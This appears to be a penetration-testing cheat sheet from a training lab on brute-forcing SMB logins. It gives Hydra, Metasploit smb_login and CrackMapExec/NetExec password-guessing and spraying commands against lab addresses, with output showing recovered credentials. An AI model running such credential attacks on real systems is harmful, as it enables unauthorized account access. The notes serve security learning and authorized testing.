SMB Bruteforce

Hydra

$ hydra -L user.list -P password.list smb://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid passwords found

Metasploit

msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list

user_file => user.list


msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list

pass_file => password.list


msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb_login) > run

[+] 10.129.42.197:445     - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Netexec - CME

By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found

crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth

nxc smb 10.129.202.136 -u users.txt -p password.txt

kali-wordlists/fasttrack.txt at master · 00xBAD/kali-wordlistsGitHub

crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt